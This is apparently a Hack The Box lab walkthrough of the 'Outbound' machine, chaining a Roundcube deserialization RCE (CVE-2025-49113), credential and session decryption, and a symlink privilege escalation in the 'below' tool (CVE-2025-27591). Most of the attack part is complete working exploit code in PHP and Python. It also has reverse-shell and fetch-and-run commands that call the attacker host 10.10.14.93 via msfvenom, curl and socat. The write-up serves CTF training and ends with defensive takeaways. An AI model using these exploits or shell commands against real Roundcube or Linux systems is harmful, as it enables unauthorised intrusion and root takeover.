Outbound HTB Machine - Complete Walkthrough

8 min read

Cover Image for Outbound HTB Machine - Complete Walkthrough

This is a detailed walkthrough of the "Outbound" machine from Hack The Box, demonstrating the complete exploitation chain from initial reconnaissance to privilege escalation.

Target Information

IP Address: 10.10.11.77
Hostname: outbound.htb
Initial Credentials: tyler:LhKL1o9Nm3X2

Reconnaissance and Enumeration

Port Scanning

Using rustscan to identify open ports:

rustscan -a outbound.htb -- -A

Results:

Service Enumeration

SSH (Port 22)

Initial attempts to connect via SSH with the provided credentials failed:

ssh tyler@outbound.htb
# Permission denied with the credentials

HTTP (Port 80)

The web service redirects to mail.outbound.htb, indicating a mail server application.

After successful login with tyler:LhKL1o9Nm3X2, we gain access to a Roundcube webmail interface.

Version Detection

Identifying the software version revealed:

Key Finding: Roundcube version vulnerable to CVE-2025-49113 - Post-Auth Remote Code Execution via PHP Object Deserialization

Exploitation Phase

CVE-2025-49113 - Roundcube RCE

This vulnerability allows authenticated users to achieve remote code execution through PHP object deserialization in the file upload functionality.

Exploit Code

<?php
class Crypt_GPG_Engine
{
    public $_process = false;
    public $_gpgconf = '';
    public $_homedir = '';

    public function __construct($_gpgconf)
    {
        $_gpgconf = base64_encode($_gpgconf);
        $this->_gpgconf = "echo \"{$_gpgconf}\"|base64 -d|sh;#";
    }

    public function gadget()
    {
        return '|'. serialize($this) . ';';
    }
}

function checkVersion($baseUrl)
{
    echo "[*] Checking Roundcube version...\n";

    $context = stream_context_create([
        'http' => [
            'method' => 'GET',
            'header' => "User-Agent: Roundcube exploit CVE-2025-49113 - Hakai Security\r\n",
            'ignore_errors' => true,
        ],
    ]);

    $response = file_get_contents($baseUrl, false, $context);

    if ($response === FALSE) {
        echo "[-] Error: Failed to check version.\n";
        exit(1);
    }

    $vulnerableVersions = [
        '10500', '10501', '10502', '10503', '10504', '10505', '10506', '10507', '10508', '10509',
        '10600', '10601', '10602', '10603', '10604', '10605', '10606', '10607', '10608', '10609', '10610'
    ];

    preg_match('/"rcversion":(\d+)/', $response, $matches);

    if (empty($matches[1])) {
        echo "[-] Error: Could not detect Roundcube version.\n";
        exit(1);
    }

    $version = $matches[1];
    echo "[*] Detected Roundcube version: " . $version . "\n";

    if (in_array($version, $vulnerableVersions)) {
        echo "[+] Target is vulnerable!\n";
        return true;
    } else {
        echo "[-] Target is not vulnerable.\n";
        exit(1);
    }
}

function login($baseUrl, $user, $pass)
{
    $context = stream_context_create([
        'http' => [
            'method' => 'GET',
            'header' => "User-Agent: Roundcube exploit CVE-2025-49113 - Hakai Security\r\n",
            'ignore_errors' => true,
        ],
    ]);

    $response = file_get_contents($baseUrl, false, $context);

    if ($response === FALSE) {
        echo "Error: Failed to obtain the initial page.\n";
        exit(1);
    }

    // Extract session cookie and CSRF token
    preg_match('/Set-Cookie: roundcube_sessid=([^;]+)/', implode("\n", $http_response_header), $matches);
    if (empty($matches[1])) {
        echo "Error: 'roundcube_sessid' cookie not found.\n";
        exit(1);
    }
    $sessionCookie = 'roundcube_sessid=' . $matches[1];

    preg_match('/"request_token":"([^"]+)"/', $response, $matches);
    if (empty($matches[1])) {
        echo "Error: CSRF token not found.\n";
        exit(1);
    }

    $csrfToken = $matches[1];

    $url = $baseUrl . '/?_task=login';

    $data = http_build_query([
        '_token'    => $csrfToken,
        '_task'     => 'login',
        '_action'   => 'login',
        '_timezone' => 'America/Sao_Paulo',
        '_url'      => '',
        '_user'     => $user,
        '_pass'     => $pass,
    ]);

    $options = [
        'http' => [
            'header'  => "Content-type: application/x-www-form-urlencoded\r\n" .
                        "Cookie: " . $sessionCookie . "\r\n",
            'method'  => 'POST',
            'content' => $data,
            'ignore_errors' => true,
        ],
    ];

    $context  = stream_context_create($options);
    $result = file_get_contents($url, false, $context);

    if ($result === FALSE) {
        echo "Error: Failed to make the request.\n";
        exit(1);
    }

    $statusLine = $http_response_header[0];
    preg_match('{HTTP/\S*\s(\d{3})}', $statusLine, $match);
    $status = $match[1];

    if ($status == 401) {
        echo "Error: Incorrect credentials.\n";
        exit(1);
    } elseif ($status != 302) {
        echo "Error: Request failed with status code $status.\n";
        exit(1);
    }

    // Extract authentication cookies
    preg_match_all('/Set-Cookie: roundcube_sessauth=([^;]+)/', implode("\n", $http_response_header), $matches);
    if (empty($matches[1])) {
        echo "Error: 'roundcube_sessauth' cookie not found.\n";
        exit(1);
    }
    $authCookie = 'roundcube_sessauth=' . end($matches[1]);

    preg_match('/Set-Cookie: roundcube_sessid=([^;]+)/', implode("\n", $http_response_header), $matches);
    if (empty($matches[1])) {
        echo "Error: 'roundcube_sessid' cookie not found.\n";
        exit(1);
    }
    $sessionCookie = 'roundcube_sessid=' . $matches[1];

    echo "[+] Login successful!\n";

    return [
        'sessionCookie' => $sessionCookie,
        'authCookie' => $authCookie,
    ];
}

function uploadImage($baseUrl, $sessionCookie, $authCookie, $gadget)
{
    $uploadUrl = $baseUrl . '/?_task=settings&_framed=1&_remote=1&_from=edit-!xxx&_id=&_uploadid=upload1749190777535&_unlock=loading1749190777536&_action=upload';

    // Hardcoded PNG image in base64
    $base64Image = 'iVBORw0KGgoAAAANSUhEUgAAAIAAAABcCAYAAACmwr2fAAAAAXNSR0IArs4c6QAAAGxlWElmTU0AKgAAAAgABAEaAAUAAAABAAAAPgEbAAUAAAABAAAARgEoAAMAAAABAAIAAIdpAAQAAAABAAAATgAAAAAAAACQAAAAAQAAAJAAAAABAAKgAgAEAAAAAQAAAICgAwAEAAAAAQAAAFwAAAAAbqF/KQAAAAlwSFlzAAAWJQAAFiUBSVIk8AAAAWBJREFUeAHt1MEJACEAxMDzSvEn2H97CrYx2Q4Swo659vkaa+BnyQN/BgoAD6EACgA3gOP3AAWAG8Dxe4ACwA3g+D1AAeAGcPweoABwAzh+D1AAuAEcvwcoANwAjt8DFABuAMfvAQoAN4Dj9wAFgBvA8XuAAsAN4Pg9QAHgBnD8HqAAcAM4fg9QALgBHL8HKADcAI7fAxQAbgDH7wEKADeA4/cABYAbwPF7gALADeD4PUAB4AZw/B6gAHADOH4PUAC4ARy/BygA3ACO3wMUAG4Ax+8BCgA3gOP3AAWAG8Dxe4ACwA3g+D1AAeAGcPweoABwAzh+D1AAuAEcvwcoANwAjt8DFABuAMfvAQoAN4Dj9wAFgBvA8XuAAsAN4Pg9QAHgBnD8HqAAcAM4fg9QALgBHL8HKADcAI7fAxQAbgDH7wEKADeA4/cABYAbwPF7gALADeD4PUAB4AZw/B4AD+ACXpACLpoPsQQAAAAASUVORK5CYII=';

    $fileContent = base64_decode($base64Image);
    if ($fileContent === FALSE) {
        echo "Error: Failed to decode the base64 image.\n";
        exit(1);
    }

    $boundary = uniqid();
    $data = "--" . $boundary . "\r\n" .
            "Content-Disposition: form-data; name=\"_file[]\"; filename=\"" . $gadget . "\"\r\n" .
            "Content-Type: image/png\r\n\r\n" .
            $fileContent . "\r\n" .
            "--" . $boundary . "--\r\n";

    $options = [
        'http' => [
            'header'  => "Content-type: multipart/form-data; boundary=" . $boundary . "\r\n" .
                        "Cookie: " . $sessionCookie . "; " . $authCookie . "\r\n",
            'method'  => 'POST',
            'content' => $data,
            'ignore_errors' => true,
        ],
    ];

    echo "[*] Exploiting...\n";

    $context  = stream_context_create($options);
    $result = file_get_contents($uploadUrl, false, $context);

    if ($result === FALSE) {
        echo "Error: Failed to send the file.\n";
        exit(1);
    }

    $statusLine = $http_response_header[0];
    preg_match('{HTTP/\S*\s(\d{3})}', $statusLine, $match);
    $status = $match[1];

    if ($status != 200) {
        echo "Error: File upload failed with status code $status.\n";
        exit(1);
    }

    echo "[+] Gadget uploaded successfully!\n";
}

function exploit($baseUrl, $user, $pass, $rceCommand)
{
    echo "[+] Starting exploit (CVE-2025-49113)...\n";

    checkVersion($baseUrl);

    $gpgEngine = new Crypt_GPG_Engine($rceCommand);
    $gadget = $gpgEngine->gadget();

    $gadget = str_replace('"', '\\"', $gadget);

    $cookies = login($baseUrl, $user, $pass);

    uploadImage($baseUrl, $cookies['sessionCookie'], $cookies['authCookie'], $gadget);
}

if ($argc !== 5) {
    echo "Usage: php CVE-2025-49113.php <url> <username> <password> <command>\n";
    exit(1);
}

$baseUrl = $argv[1];
$user = $argv[2];
$pass = $argv[3];
$rceCommand = $argv[4];

exploit($baseUrl, $user, $pass, $rceCommand);

Payload Preparation

  1. Create reverse shell payload:
msfvenom -p php/reverse_php LHOST=10.10.14.93 LPORT=9001 -o shell.php
  1. Set up HTTP server:
python -m http.server 8000
  1. Set up netcat listener:
nc -lvnp 9001

Exploitation Execution

php CVE-2025-49113.php http://mail.outbound.htb/ tyler LhKL1o9Nm3X2 "curl http://10.10.14.93:8000/reverse.elf -o /tmp/reverse.elf && chmod +x /tmp/reverse.elf && /tmp/reverse.elf"

Post-Exploitation

Initial Shell Upgrade

Upgrade to a better shell using socat:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.93:4444

Database Credentials Discovery

Located Roundcube configuration file containing database credentials:

File: /var/www/html/roundcube/config/config.inc.php

tyler@mail:/var/www/html/roundcube/config$ cat config.inc.php
<?php

$config = [];

// Database connection string (DSN) for read+write operations
// Format (compatible with PEAR MDB2): db_provider://user:password@host/database
// Currently supported db_providers: mysql, pgsql, sqlite, mssql, sqlsrv, oracle
// For examples see http://pear.php.net/manual/en/package.database.mdb2.intro-dsn.php
// NOTE: for SQLite use absolute path (Linux): 'sqlite:////full/path/to/sqlite.db?mode=0646'
//       or (Windows): 'sqlite:///C:/full/path/to/sqlite.db'
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';

// IMAP host chosen to perform the log-in.
// See defaults.inc.php for the option description.
$config['imap_host'] = 'localhost:143';

// SMTP server host (for sending mails).
// See defaults.inc.php for the option description.
$config['smtp_host'] = 'localhost:587';

// SMTP username (if required) if you use %u as the username Roundcube
// will use the current username for login
$config['smtp_user'] = '%u';

// SMTP password (if required) if you use %p as the password Roundcube
// will use the current user's password for login
$config['smtp_pass'] = '%p';
$config['support_url'] = '';
$config['product_name'] = 'Roundcube Webmail';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';

$config['plugins'] = [
    'archive',
    'zipdownload',
];
$config['skin'] = 'elastic';
$config['default_host'] = 'localhost';
$config['smtp_server'] = 'localhost';

Key findings:

Database Enumeration

Connected to MySQL database:

mysql -u roundcube -pRCDBPass2025 roundcube

Dumped session table to extract encrypted user data:

Decryption Process

Target encrypted data: L7Rv00A8TuwJAr67kITxxcSgnIk25Am/

Using CyberChef with the following parameters:

  • Algorithm: Triple DES

  • Key: rcmail-!24ByteDESkey*Str

  • IV: 2f b4 6f d3 40 3c 4e ec

  • Input: 09 02 be bb 90 84 f1 c5 c4 a0 9c 89 36 e4 09 bf

Decrypted password for jacob: 595mO8DmwGeD

Lateral Movement

Connected as jacob user:

Email Discovery

Found emails in jacob's home directory revealing updated credentials:

From tyler@outbound.htb:

Due to the recent change of policies your password has been changed.
Please use the following credentials to log into your account: gY4Wr3a1evp4
Remember to change your password when you next log into your account.

From mel@outbound.htb:

We have been experiencing high resource consumption on our main server.
For now we have enabled resource monitoring with Below and have granted you privileges to inspect the logs.
Please inform us immediately if you notice any irregularities.

User Flag

Successfully obtained user flag: dcd5xxxxd703xxxxb00bxxxx81f3806

Privilege Escalation

Sudo Privileges Analysis

sudo -l

Output:

User jacob may run the following commands on outbound:
    (ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*

CVE-2025-27591 - Below Privilege Escalation

The below binary is vulnerable to CVE-2025-27591, allowing privilege escalation through symlink attacks.

Exploit Code

#!/usr/bin/env python3
import os
import subprocess
import sys
import pty

BINARY = "/usr/bin/below"
LOG_DIR = "/var/log/below"
TARGET_LOG = f"{LOG_DIR}/error_root.log"
TMP_PAYLOAD = "/tmp/attacker"

MALICIOUS_PASSWD_LINE = "attacker::0:0:attacker:/root:/bin/bash\n"

def check_world_writable(path):
    st = os.stat(path)
    return bool(st.st_mode & 0o002)

def is_symlink(path):
    return os.path.islink(path)

def run_cmd(cmd, show_output=True):
    if show_output:
        print(f"[+] Running: {cmd}")
    try:
        return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, text=True)
    except subprocess.CalledProcessError as e:
        if show_output:
            print(f"[-] Command failed: {e.output}")
        return None

def check_vulnerability():
    print("[*] Checking for CVE-2025-27591 vulnerability...")

    if not os.path.exists(LOG_DIR):
        print(f"[-] Log directory {LOG_DIR} does not exist.")
        return False

    if not check_world_writable(LOG_DIR):
        print(f"[-] {LOG_DIR} is not world-writable.")
        return False
    print(f"[+] {LOG_DIR} is world-writable.")

    if os.path.exists(TARGET_LOG):
        if is_symlink(TARGET_LOG):
            print(f"[+] {TARGET_LOG} is already a symlink. Looks exploitable.")
            return True
        else:
            print(f"[!] {TARGET_LOG} is a regular file. Removing it...")
            os.remove(TARGET_LOG)

    try:
        os.symlink("/etc/passwd", TARGET_LOG)
        print(f"[+] Symlink created: {TARGET_LOG} -> /etc/passwd")
        os.remove(TARGET_LOG)  
        return True
    except Exception as e:
        print(f"[-] Failed to create symlink: {e}")
        return False

def exploit():
    print("[*] Starting exploitation...")

    with open(TMP_PAYLOAD, "w") as f:
        f.write(MALICIOUS_PASSWD_LINE)
    print(f"[+] Wrote malicious passwd line to {TMP_PAYLOAD}")

    if os.path.exists(TARGET_LOG):
        os.remove(TARGET_LOG)
    os.symlink("/etc/passwd", TARGET_LOG)
    print(f"[+] Symlink set: {TARGET_LOG} -> /etc/passwd")

    print("[*] Executing 'below record' as root to trigger logging...")
    try:
        subprocess.run(["sudo", BINARY, "record"], timeout=40)
        print("[+] 'below record' executed.")
    except subprocess.TimeoutExpired:
        print("[-] 'below record' timed out (may still have written to the file).")
    except Exception as e:
        print(f"[-] Failed to execute 'below': {e}")

    print("[*] Appending payload into /etc/passwd via symlink...")
    try:
        with open(TARGET_LOG, "a") as f:
            f.write(MALICIOUS_PASSWD_LINE)
        print("[+] Payload appended successfully.")
    except Exception as e:
        print(f"[-] Failed to append payload: {e}")

    print("[*] Attempting to switch to root shell via 'su attacker'...")
    try:
        pty.spawn(["su", "attacker"])
    except Exception as e:
        print(f"[-] Failed to spawn shell: {e}")
        return False

def main():
    if not check_vulnerability():
        print("[-] Target does not appear vulnerable.")
        sys.exit(1)
    print("[+] Target is vulnerable.")

    if not exploit():
        print("[-] Exploitation failed.")
        sys.exit(1)

if __name__ == "__main__":
    main()

Root Access Achievement

Root flag: 03b2xxxxc9caxxxx4e84xxxx089b87c

Summary

This machine demonstrated a complete attack chain involving:

  1. Initial Access: Exploiting CVE-2025-49113 in Roundcube webmail for RCE

  2. Lateral Movement: Database credential extraction and password decryption

  3. Privilege Escalation: Exploiting CVE-2025-27591 in the Below monitoring tool

Key Takeaways

  • Roundcube Security: Keep webmail applications updated to prevent deserialization attacks

  • Database Security: Encrypt sensitive session data with strong encryption

  • Privilege Management: Carefully review sudo privileges, especially for system monitoring tools

  • Log Directory Permissions: Ensure proper permissions on system log directories